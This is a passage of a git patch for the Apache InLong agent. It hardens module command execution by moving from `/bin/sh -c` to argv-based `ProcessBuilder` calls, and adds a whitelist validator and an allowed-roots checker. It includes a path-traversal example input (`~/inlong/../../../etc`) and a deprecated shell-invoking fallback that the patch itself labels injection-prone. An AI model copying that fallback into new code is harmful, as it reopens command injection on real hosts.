From da343adaa801928d147ff89e58e13deb6ba665aa Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Wed, 1 Jul 2026 18:41:16 +0800 Subject: [PATCH 01/10] [INLONG-12148][Improve] [Agent] Replace /bin/sh -c with ProcessBuilder (#12148) [INLONG-12148][Improve] [Agent] Replace /bin/sh -c with ProcessBuilder (#12148) --- .../apache/inlong/agent/utils/AgentUtils.java | 7 +- .../inlong/agent/utils/ExcuteLinux.java | 353 +++++++++++++- .../inlong/agent/core/AgentStatusManager.java | 7 +- .../inlong/agent/installer/ModuleManager.java | 153 +++++- .../validator/AllowedRootsResolver.java | 158 ++++++ .../validator/ModuleCommandValidator.java | 449 ++++++++++++++++++ .../installer/AllowedRootsResolverTest.java | 253 ++++++++++ .../installer/ModuleCommandValidatorTest.java | 240 ++++++++++ 8 files changed, 1592 insertions(+), 28 deletions(-) create mode 100644 inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java create mode 100644 inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java create mode 100644 inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java create mode 100644 inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java index 01c1567726a..f3209a5190c 100644 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java @@ -329,12 +329,11 @@ public static String fetchLocalUuid() { uuid = localUuid; return uuid; } - String result = ExcuteLinux.exeCmd("dmidecode | grep UUID"); - if (StringUtils.isNotEmpty(result) - && StringUtils.containsIgnoreCase(result, "UUID")) { - uuid = result.split(":")[1].trim(); + String result = ExcuteLinux.exeCmd(new String[]{"dmidecode", "-s", "system-uuid"}); + if (StringUtils.isEmpty(result)) { return uuid; } + uuid = result.trim(); } catch (Exception e) { LOGGER.error("fetch uuid error", e); } diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java index 8d9c0e23a58..0c6188380e0 100644 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java @@ -17,29 +17,261 @@ package org.apache.inlong.agent.utils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; import java.io.InputStreamReader; +import java.io.OutputStream; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; /** - * ExecuteLinux cmd + * Utility for executing local OS commands. + * + *

{@link #exeCmd(String[])}, {@link #exeCmd(List, File, long)} and + * {@link #exePipedCmd(List, File, long)} are the recommended argv-array / piped entry points. + * They use {@link ProcessBuilder} directly and never go through {@code /bin/sh -c}, so shell + * metacharacters ({@code ;}, {@code |}, {@code &&}, backticks, {@code $(...)}) are never + * interpreted.

+ * + *

{@link #exeCmd(String)} is a legacy string-based fallback that runs commands through + * {@code /bin/sh -c}; it is {@link Deprecated} and must only be used with strings already + * validated by {@code ModuleCommandValidator}.

+ * + *

Piping is emulated by chaining several {@link ProcessBuilder} instances via background + * threads that copy stdout to the next process's stdin, so no shell is required.

*/ public class ExcuteLinux { + private static final Logger logger = LoggerFactory.getLogger(ExcuteLinux.class); + + /** Default command execution timeout in milliseconds. */ + public static final long DEFAULT_TIMEOUT_MS = 60_000L; + + /** Maximum number of bytes of stderr kept in log output (truncated beyond this). */ + private static final int STDERR_LOG_MAX_BYTES = 1024; + + private ExcuteLinux() { + } + /** - * execute linux cmd + * Execute a command using an argv array (no shell), inheriting the JVM working directory + * and using {@link #DEFAULT_TIMEOUT_MS} as the timeout. * - * @param commandStr cmd - * @return result of execution + * @param cmdArgs argv, {@code cmdArgs[0]} is the executable name. + * @return stdout of the child process; {@code null} on error or timeout. */ - public static String exeCmd(String commandStr) { + public static String exeCmd(String[] cmdArgs) { + if (cmdArgs == null || cmdArgs.length == 0) { + logger.error("exeCmd(String[]) called with empty cmdArgs"); + return null; + } + return exeCmd(Arrays.asList(cmdArgs), null, DEFAULT_TIMEOUT_MS); + } + + /** + * Execute a command using an argv list (no shell), with an optional working directory and + * timeout. Every element in {@code cmdArgs} is passed to the child as a literal argv + * entry; shell metacharacters are never interpreted. If the child does not finish within + * {@code timeoutMs} it is force-killed via {@link Process#destroyForcibly()}. + * + * @param cmdArgs argv list, index 0 is the executable name. + * @param workDir working directory of the child; {@code null} means inherit. + * @param timeoutMs timeout in milliseconds; a value <= 0 means {@link #DEFAULT_TIMEOUT_MS}. + * @return stdout of the child; {@code null} on non-zero exit, error or timeout. + */ + public static String exeCmd(List cmdArgs, File workDir, long timeoutMs) { + if (cmdArgs == null || cmdArgs.isEmpty()) { + logger.error("exeCmd(List) called with empty cmdArgs"); + return null; + } + long timeout = timeoutMs > 0 ? timeoutMs : DEFAULT_TIMEOUT_MS; + Process ps = null; + try { + ProcessBuilder pb = new ProcessBuilder(cmdArgs); + if (workDir != null) { + pb.directory(workDir); + } + pb.redirectErrorStream(false); + long startNs = System.nanoTime(); + ps = pb.start(); + + // Drain stdout/stderr on background threads to prevent the child from blocking + // when either pipe buffer fills up. + StreamGobbler stdoutGobbler = new StreamGobbler(ps.getInputStream(), "stdout-" + cmdArgs.get(0)); + StreamGobbler stderrGobbler = new StreamGobbler(ps.getErrorStream(), "stderr-" + cmdArgs.get(0)); + stdoutGobbler.start(); + stderrGobbler.start(); + + boolean finished = ps.waitFor(timeout, TimeUnit.MILLISECONDS); + if (!finished) { + ps.destroyForcibly(); + ps.waitFor(1, TimeUnit.SECONDS); + logger.error("exeCmd timeout after {} ms, cmd={}", timeout, cmdArgs); + stdoutGobbler.join(1000); + stderrGobbler.join(1000); + closeQuietly(ps); + return null; + } + stdoutGobbler.join(1000); + stderrGobbler.join(1000); + int exitCode = ps.exitValue(); + long costMs = (System.nanoTime() - startNs) / 1_000_000L; + String stdout = stdoutGobbler.getResult(); + String stderr = stderrGobbler.getResult(); + + if (exitCode == 0) { + if (logger.isDebugEnabled()) { + logger.debug("exeCmd success cmd={} exit=0 costMs={}", cmdArgs, costMs); + } + return stdout; + } else { + logger.error("exeCmd non-zero exit cmd={} exitCode={} costMs={} stderr={}", + cmdArgs, exitCode, costMs, truncate(stderr, STDERR_LOG_MAX_BYTES)); + return null; + } + } catch (Exception e) { + logger.error("exeCmd error cmd={}", cmdArgs, e); + return null; + } finally { + if (ps != null) { + closeQuietly(ps); + } + } + } + + /** + * Emulate a shell pipe {@code |} by chaining several {@link ProcessBuilder} instances on + * the Java side, without going through {@code /bin/sh -c}. Each segment is started as its + * own child; a background thread copies the stdout of every upstream child into the + * stdin of the next downstream child; the stdout of the last segment is returned. + * + * @param argvSegments argv of each pipe segment, e.g. + * {@code [["ps","aux"], ["grep","java"], ["awk","{print $2}"]]}. + * @param workDir shared working directory for every segment; {@code null} inherits. + * @param timeoutMs total timeout for the whole pipeline in milliseconds; <= 0 means default. + * @return stdout of the last segment; {@code null} on error or timeout. + */ + public static String exePipedCmd(List argvSegments, File workDir, long timeoutMs) { + if (argvSegments == null || argvSegments.isEmpty()) { + logger.error("exePipedCmd called with empty argvSegments"); + return null; + } + if (argvSegments.size() == 1) { + return exeCmd(Arrays.asList(argvSegments.get(0)), workDir, timeoutMs); + } + long timeout = timeoutMs > 0 ? timeoutMs : DEFAULT_TIMEOUT_MS; + List processes = new ArrayList<>(argvSegments.size()); + List pumpers = new ArrayList<>(argvSegments.size() - 1); + List stderrGobblers = new ArrayList<>(argvSegments.size()); + StreamGobbler tailStdoutGobbler = null; + try { + for (int i = 0; i < argvSegments.size(); i++) { + String[] argv = argvSegments.get(i); + if (argv == null || argv.length == 0) { + logger.error("exePipedCmd segment[{}] is empty", i); + return null; + } + ProcessBuilder pb = new ProcessBuilder(argv); + if (workDir != null) { + pb.directory(workDir); + } + pb.redirectErrorStream(false); + Process p = pb.start(); + processes.add(p); + stderrGobblers.add(new StreamGobbler(p.getErrorStream(), "stderr-piped-" + argv[0])); + stderrGobblers.get(i).start(); + } + // Chain adjacent segments: upstream stdout -> downstream stdin. + for (int i = 0; i < processes.size() - 1; i++) { + Process upstream = processes.get(i); + Process downstream = processes.get(i + 1); + Thread pump = new Thread(new StreamPump(upstream.getInputStream(), downstream.getOutputStream()), + "pipe-pump-" + i); + pump.setDaemon(true); + pump.start(); + pumpers.add(pump); + } + Process tail = processes.get(processes.size() - 1); + tailStdoutGobbler = new StreamGobbler(tail.getInputStream(), "stdout-piped-tail"); + tailStdoutGobbler.start(); + + long deadline = System.currentTimeMillis() + timeout; + for (Process p : processes) { + long remain = deadline - System.currentTimeMillis(); + if (remain <= 0) { + logger.error("exePipedCmd timeout, argvSegments={}", argvSegmentsToString(argvSegments)); + return null; + } + if (!p.waitFor(remain, TimeUnit.MILLISECONDS)) { + logger.error("exePipedCmd timeout at one segment, argvSegments={}", + argvSegmentsToString(argvSegments)); + return null; + } + } + for (Thread pump : pumpers) { + pump.join(1000); + } + tailStdoutGobbler.join(1000); + for (StreamGobbler g : stderrGobblers) { + g.join(1000); + } + + int tailExit = tail.exitValue(); + if (tailExit != 0) { + logger.error("exePipedCmd tail non-zero exit={} stderr={}", tailExit, + truncate(stderrGobblers.get(stderrGobblers.size() - 1).getResult(), STDERR_LOG_MAX_BYTES)); + return null; + } + return tailStdoutGobbler.getResult(); + } catch (Exception e) { + logger.error("exePipedCmd error argvSegments={}", argvSegmentsToString(argvSegments), e); + return null; + } finally { + // Force-kill every child on any error/timeout path so we never leak zombies or fds. + for (Process p : processes) { + try { + if (p != null && p.isAlive()) { + p.destroyForcibly(); + } + } catch (Exception ignore) { + } + closeQuietly(p); + } + } + } + + /** + * Legacy string-based command entry point that runs the given command through + * {@code /bin/sh -c}. Vulnerable to shell injection. Kept only as a fallback for + * strings already validated by {@code ModuleCommandValidator}. New business code must + * use {@link #exeCmd(String[])} or {@link #exePipedCmd(List, File, long)} instead. + * + * @param commandStr a command string that has already been validated. + * @return stdout of the child process; {@code null} on error. + * @deprecated use {@link #exeCmd(String[])} or {@link #exePipedCmd(List, File, long)}. + */ + @Deprecated + public static String exeCmd(String commandStr) { String result = null; try { String[] cmd = new String[]{"/bin/sh", "-c", commandStr}; Process ps = Runtime.getRuntime().exec(cmd); - BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream())); - StringBuffer sb = new StringBuffer(); + BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream(), + StandardCharsets.UTF_8)); + StringBuilder sb = new StringBuilder(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); @@ -47,10 +279,115 @@ public static String exeCmd(String commandStr) { result = sb.toString(); } catch (Exception e) { - e.printStackTrace(); + logger.error("execute linux cmd error: ", e); } return result; + } + + // ------------------------------------------------------------------------- + // internal helpers + // ------------------------------------------------------------------------- + + private static void closeQuietly(Process ps) { + if (ps == null) { + return; + } + closeQuietly(ps.getInputStream()); + closeQuietly(ps.getErrorStream()); + closeQuietly(ps.getOutputStream()); + } + + private static void closeQuietly(java.io.Closeable c) { + if (c == null) { + return; + } + try { + c.close(); + } catch (IOException ignore) { + } + } + + private static String truncate(String s, int maxBytes) { + if (s == null) { + return ""; + } + byte[] bytes = s.getBytes(StandardCharsets.UTF_8); + if (bytes.length <= maxBytes) { + return s; + } + return new String(bytes, 0, maxBytes, StandardCharsets.UTF_8) + "...(truncated)"; + } + + private static String argvSegmentsToString(List segs) { + List> readable = new ArrayList<>(segs.size()); + for (String[] seg : segs) { + readable.add(seg == null ? Collections.emptyList() : Arrays.asList(seg)); + } + return readable.toString(); + } + + /** Daemon thread that fully drains an {@link InputStream} into memory. */ + private static final class StreamGobbler extends Thread { + private final InputStream in; + private final AtomicReference resultRef = new AtomicReference<>(""); + + StreamGobbler(InputStream in, String threadName) { + super(threadName); + this.in = in; + setDaemon(true); + } + + @Override + public void run() { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buf = new byte[4096]; + int n; + try { + while ((n = in.read(buf)) != -1) { + baos.write(buf, 0, n); + } + resultRef.set(new String(baos.toByteArray(), StandardCharsets.UTF_8)); + } catch (IOException e) { + // Reading may throw once the child has been destroyed; treat as end of stream. + resultRef.set(new String(baos.toByteArray(), StandardCharsets.UTF_8)); + } finally { + closeQuietly(in); + } + } + + String getResult() { + return resultRef.get(); + } + } + + /** Daemon thread that copies stdout of an upstream process into stdin of a downstream one. */ + private static final class StreamPump implements Runnable { + + private final InputStream in; + private final OutputStream out; + + StreamPump(InputStream in, OutputStream out) { + this.in = in; + this.out = out; + } + + @Override + public void run() { + byte[] buf = new byte[4096]; + int n; + try { + while ((n = in.read(buf)) != -1) { + out.write(buf, 0, n); + } + out.flush(); + } catch (IOException ignore) { + // Downstream process may have exited; treat as end of pipe. + } finally { + closeQuietly(in); + closeQuietly(out); + } + } } } \ No newline at end of file diff --git a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java index 314fe5e669b..33a8d8ef4d2 100644 --- a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java +++ b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java @@ -140,7 +140,12 @@ public String getFieldsString() { public static AtomicLong sendDataLen = new AtomicLong(); public static AtomicLong sendPackageCount = new AtomicLong(); private String processStartupTime = format.format(runtimeMXBean.getStartTime()); - private String systemStartupTime = ExcuteLinux.exeCmd("uptime -s").replaceAll("\r|\n", ""); + private String systemStartupTime = safeUptime(); + + private static String safeUptime() { + String r = ExcuteLinux.exeCmd(new String[]{"uptime", "-s"}); + return r == null ? "" : r.replaceAll("\r|\n", ""); + } private AgentStatusManager(AgentManager agentManager) { this.conf = AgentConfiguration.getAgentConf(); diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java index cae8b25f688..705e3f9cfa4 100755 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java @@ -20,6 +20,10 @@ import org.apache.inlong.agent.common.AbstractDaemon; import org.apache.inlong.agent.constant.AgentConstants; import org.apache.inlong.agent.installer.conf.InstallerConfiguration; +import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; import org.apache.inlong.agent.metrics.audit.AuditUtils; import org.apache.inlong.agent.utils.AgentUtils; import org.apache.inlong.agent.utils.ExcuteLinux; @@ -53,12 +57,14 @@ import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.concurrent.BlockingQueue; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.LinkedBlockingQueue; +import java.util.regex.Pattern; import java.util.stream.Collectors; import static org.apache.inlong.agent.constant.FetcherConstants.AGENT_MANAGER_ADDR; @@ -81,6 +87,10 @@ public class ModuleManager extends AbstractDaemon { private static final Logger LOGGER = LoggerFactory.getLogger(ModuleManager.class); public static final int MAX_MODULE_SIZE = 10; public static final int CHECK_PROCESS_TIMES = 20; + /** Sensitive-word masking pattern; a defensive net that keeps sensitive fields out of + * command logs even if a future config path leaks them. */ + private static final Pattern SENSITIVE_PATTERN = Pattern.compile( + "(?i)(password|secret|token|key)\\s*[=:]\\s*\\S+"); private final InstallerConfiguration conf; private final String confPath; private final BlockingQueue configQueue; @@ -90,11 +100,13 @@ public class ModuleManager extends AbstractDaemon { private static final GsonBuilder gsonBuilder = new GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss"); private static final Gson GSON = gsonBuilder.create(); private HttpManager httpManager; + private final ModuleCommandValidator commandValidator; public ModuleManager() { conf = InstallerConfiguration.getInstallerConf(); confPath = conf.get(AgentConstants.AGENT_HOME, AgentConstants.DEFAULT_AGENT_HOME) + "/conf/"; configQueue = new LinkedBlockingQueue<>(CONFIG_QUEUE_CAPACITY); + commandValidator = new ModuleCommandValidator(AllowedRootsResolver.build(conf)); if (!requiredKeys(conf)) { throw new RuntimeException("init module manager error, cannot find required key"); } @@ -485,16 +497,20 @@ private void restartModule(ModuleConfig localModule, ModuleConfig managerModule) } private void installModule(ModuleConfig module) { - LOGGER.info("install module {}({}) with cmd {}", module.getId(), module.getName(), module.getInstallCommand()); - String ret = ExcuteLinux.exeCmd(module.getInstallCommand()); - LOGGER.info("install module {}({}) return {} ", module.getId(), module.getName(), ret); + LOGGER.info("install module {}({}) with cmd {}", module.getId(), module.getName(), + sanitize(module.getInstallCommand())); + runValidatedCommand(module, "install", module.getInstallCommand()); } private boolean startModule(ModuleConfig module) { - LOGGER.info("start module {}({}) with cmd {}", module.getId(), module.getName(), module.getStartCommand()); + LOGGER.info("start module {}({}) with cmd {}", module.getId(), module.getName(), + sanitize(module.getStartCommand())); for (int i = 0; i < module.getProcessesNum(); i++) { - String ret = ExcuteLinux.exeCmd(module.getStartCommand()); - LOGGER.info("start module {}({}) proc[{}] return {} ", module.getId(), module.getName(), i, ret); + CommandExecResult ret = runValidatedCommand(module, "start[" + i + "]", module.getStartCommand()); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("start module {}({}) proc[{}] stdout={}", module.getId(), module.getName(), i, + truncate(ret.stdout)); + } } if (isProcessAllStarted(module, CHECK_PROCESS_TIMES)) { LOGGER.info("start module {}({}) success", module.getId(), module.getName()); @@ -506,27 +522,26 @@ private boolean startModule(ModuleConfig module) { } private void stopModule(ModuleConfig module) { - LOGGER.info("stop module {}({}) with cmd {}", module.getId(), module.getName(), module.getStopCommand()); - String ret = ExcuteLinux.exeCmd(module.getStopCommand()); - LOGGER.info("stop module {}({}) return {} ", module.getId(), module.getName(), ret); + LOGGER.info("stop module {}({}) with cmd {}", module.getId(), module.getName(), + sanitize(module.getStopCommand())); + runValidatedCommand(module, "stop", module.getStopCommand()); } private void uninstallModule(ModuleConfig module) { LOGGER.info("uninstall module {}({}) with cmd {}", module.getId(), module.getName(), - module.getUninstallCommand()); - String ret = ExcuteLinux.exeCmd(module.getUninstallCommand()); - LOGGER.info("uninstall module {}({}) return {} ", module.getId(), module.getName(), ret); + sanitize(module.getUninstallCommand())); + runValidatedCommand(module, "uninstall", module.getUninstallCommand()); } private boolean isProcessAllStarted(ModuleConfig module, int times) { for (int check = 0; check < times; check++) { AgentUtils.silenceSleepInSeconds(1); - String ret = ExcuteLinux.exeCmd(module.getCheckCommand()); - if (ret == null) { + CommandExecResult ret = runValidatedCommand(module, "check", module.getCheckCommand()); + if (!ret.success || ret.stdout == null) { LOGGER.error("[{}] get module {}({}) process num failed", check, module.getId(), module.getName()); continue; } - String[] processArray = ret.split("\n"); + String[] processArray = ret.stdout.split("\n"); int cnt = 0; for (int i = 0; i < processArray.length; i++) { if (processArray[i].length() > 0) { @@ -541,6 +556,114 @@ private boolean isProcessAllStarted(ModuleConfig module, int times) { return false; } + // ========================================================================= + // Unified execution path with validation applied to every command. + // ========================================================================= + + /** + * Result of a single command execution. {@link #success} is {@code true} when every + * sub-command exited with code 0; {@link #stdout} carries the stdout of the last + * sub-command. + */ + private static final class CommandExecResult { + + final boolean success; + final String stdout; + + CommandExecResult(boolean success, String stdout) { + this.success = success; + this.stdout = stdout; + } + } + + /** + * Validate a raw command from {@link ModuleConfig} through {@link ModuleCommandValidator} + * and, on success, execute the resulting sub-commands one by one. On rejection, timeout + * or non-zero exit, log the failure and return failure. This method never falls back to + * {@code sh -c}. + */ + private CommandExecResult runValidatedCommand(ModuleConfig module, String cmdName, String rawCmd) { + ValidationResult vr = commandValidator.validate(rawCmd); + if (!vr.isOk()) { + // Rejection path: log ERROR with module id/name, cmd name, rule name, offending + // sub-command and the original raw command. + LOGGER.error("REJECT command moduleId={} moduleName={} cmdName={} rule={} failedSub={} rawCmd={} msg={}", + module.getId(), module.getName(), cmdName, vr.getRuleName(), + sanitize(vr.getFailedSubCmd()), sanitize(rawCmd), vr.getMessage()); + return new CommandExecResult(false, null); + } + List parsed = vr.getParsed(); + String lastStdout = ""; + for (ParsedSubCmd sub : parsed) { + long startNs = System.nanoTime(); + String stdout; + if (sub.isPiped()) { + // Piped sub-command: chain multiple ProcessBuilder instances on the Java side + // via exePipedCmd. + stdout = ExcuteLinux.exePipedCmd(sub.getPipeline(), sub.getWorkDir(), + ExcuteLinux.DEFAULT_TIMEOUT_MS); + } else { + stdout = ExcuteLinux.exeCmd(java.util.Arrays.asList(sub.getArgv()), sub.getWorkDir(), + ExcuteLinux.DEFAULT_TIMEOUT_MS); + } + long costMs = (System.nanoTime() - startNs) / 1_000_000L; + + if (stdout == null) { + // Failure/timeout path: ERROR (stderr summary is already logged inside + // ExcuteLinux, truncated). + LOGGER.error("FAIL command moduleId={} moduleName={} cmdName={} sub={} costMs={} (stdout=null)", + module.getId(), module.getName(), cmdName, describeSub(sub), costMs); + if (!sub.isAllowFailure()) { + return new CommandExecResult(false, null); + } + } else { + // Success path: INFO with argv form and cost, DEBUG with a stdout summary. + LOGGER.info("OK command moduleId={} moduleName={} cmdName={} sub={} costMs={}", + module.getId(), module.getName(), cmdName, describeSub(sub), costMs); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("OK command moduleId={} cmdName={} stdout={}", + module.getId(), cmdName, truncate(stdout)); + } + lastStdout = stdout; + } + } + return new CommandExecResult(true, lastStdout); + } + + /** + * Format a parsed sub-command for logs, e.g. {@code [cmd, arg1, arg2] @ workDir}. + */ + private static String describeSub(ParsedSubCmd sub) { + List> readable = new ArrayList<>(sub.getPipeline().size()); + for (String[] seg : sub.getPipeline()) { + readable.add(java.util.Arrays.asList(seg)); + } + String pipelineStr = readable.size() == 1 ? readable.get(0).toString() : readable.toString(); + return sub.getWorkDir() == null + ? pipelineStr + : (pipelineStr + " @ " + sub.getWorkDir()); + } + + /** Truncate a stderr/stdout summary to 1KB so it does not swamp INFO logs. */ + private static String truncate(String s) { + if (s == null) { + return ""; + } + return s.length() <= 1024 ? s : (s.substring(0, 1024) + "...(truncated)"); + } + + /** + * Best-effort masking of {@code password=xxx} / {@code token: yyy} style values in log + * output. The current commands do not carry such tokens, but this keeps a defensive net + * in place for future changes. + */ + private static String sanitize(String s) { + if (s == null) { + return null; + } + return SENSITIVE_PATTERN.matcher(s).replaceAll("$1=***"); + } + private boolean downloadModule(ModuleConfig module) { LOGGER.info("download module {}({}) begin with url {}", module.getId(), module.getName(), module.getPackageConfig().getDownloadUrl()); diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java new file mode 100644 index 00000000000..2062747434f --- /dev/null +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java @@ -0,0 +1,158 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.installer.validator; + +import lombok.Getter; +import org.apache.inlong.agent.constant.AgentConstants; +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.Set; + +/** + * Resolves the whitelist of root directories under which write-oriented commands + * (e.g. {@code rm/cp/mv/mkdir/ln/chmod/chown/tar/unzip}) are allowed to operate. Paths are + * compared with normalized {@link Path#startsWith(Path)}, which naturally rejects traversal + * attempts such as {@code ~/inlong/../../../etc}. + * + *

Default roots: {@code $user.home/inlong}, {@code $user.home/inlong-agent}, + * {@code agent.home} (from {@code -Dagent.home} JVM property or {@code installer.properties}), + * {@code $java.io.tmpdir}. Extra roots may be appended via the configuration key + * {@code installer.command.extraAllowedRoots} (comma separated). + */ +@Getter +public final class AllowedRootsResolver { + + /** Configuration key for extra allowed root directories (comma separated). */ + public static final String KEY_EXTRA_ALLOWED_ROOTS = "installer.command.extraAllowedRoots"; + + private static final Logger LOGGER = LoggerFactory.getLogger(AllowedRootsResolver.class); + + private static volatile AllowedRootsResolver instance; + + /** + * -- GETTER -- + * Return the immutable set of roots, mainly for logging and tests. + */ + private final Set roots; + + private AllowedRootsResolver(Set roots) { + this.roots = Collections.unmodifiableSet(roots); + } + + /** Build an instance from the given path set (normalized). Intended primarily for tests. */ + public static AllowedRootsResolver ofPaths(Path... paths) { + Set roots = new LinkedHashSet<>(); + if (paths != null) { + for (Path p : paths) { + addRoot(roots, p); + } + } + return new AllowedRootsResolver(roots); + } + + /** Return the default singleton, backed by {@link InstallerConfiguration}. */ + public static AllowedRootsResolver getDefault() { + if (instance == null) { + synchronized (AllowedRootsResolver.class) { + if (instance == null) { + instance = build(InstallerConfiguration.getInstallerConf()); + } + } + } + return instance; + } + + /** Build an instance from the given configuration. */ + public static AllowedRootsResolver build(InstallerConfiguration conf) { + Set roots = new LinkedHashSet<>(); + + String userHome = System.getProperty("user.home"); + if (StringUtils.isNotBlank(userHome)) { + addRoot(roots, Paths.get(userHome, "inlong")); + addRoot(roots, Paths.get(userHome, "inlong-agent")); + } + + // agent.home resolution: -Dagent.home JVM system property first, then the same key + // from installer.properties as an override. + String agentHome = System.getProperty(AgentConstants.AGENT_HOME); + if (conf != null) { + String fromConf = conf.get(AgentConstants.AGENT_HOME, null); + if (StringUtils.isNotBlank(fromConf)) { + agentHome = fromConf; + } + } + if (StringUtils.isNotBlank(agentHome)) { + addRoot(roots, Paths.get(agentHome)); + } + + String tmpDir = System.getProperty("java.io.tmpdir"); + if (StringUtils.isNotBlank(tmpDir)) { + addRoot(roots, Paths.get(tmpDir)); + } + + if (conf != null) { + String extra = conf.get(KEY_EXTRA_ALLOWED_ROOTS, ""); + if (StringUtils.isNotBlank(extra)) { + for (String item : extra.split(",")) { + String trimmed = item == null ? "" : item.trim(); + if (StringUtils.isNotBlank(trimmed)) { + addRoot(roots, Paths.get(trimmed)); + } + } + } + } + + LOGGER.info("AllowedRootsResolver initialized with roots: {}", roots); + return new AllowedRootsResolver(roots); + } + + private static void addRoot(Set roots, Path p) { + if (p == null) { + return; + } + Path normalized = p.toAbsolutePath().normalize(); + roots.add(normalized); + } + + /** + * Test whether the given path lies under any allowed root (equal to a root also counts). + * + * @param p a path; it is made absolute and normalized internally before the comparison. + */ + public boolean isUnderAllowedRoot(Path p) { + if (p == null) { + return false; + } + Path normalized = p.toAbsolutePath().normalize(); + for (Path root : roots) { + if (normalized.startsWith(root)) { + return true; + } + } + return false; + } + +} diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java new file mode 100644 index 00000000000..92a73a94f97 --- /dev/null +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java @@ -0,0 +1,449 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.installer.validator; + +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.File; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * Structured whitelist validator applied to raw command strings coming from + * {@code ModuleConfig}. It enforces four layers of defence: + * + *

    + *
  1. Structured splitting: the raw command is split into sub-commands on {@code ;}, + * each sub-command is further split into pipe segments on {@code |}, and every pipe + * segment is tokenized into an {@code argv[]}. Once split this way, {@code ;} and + * {@code |} are Java-side delimiters instead of shell metacharacters.
    2. + *
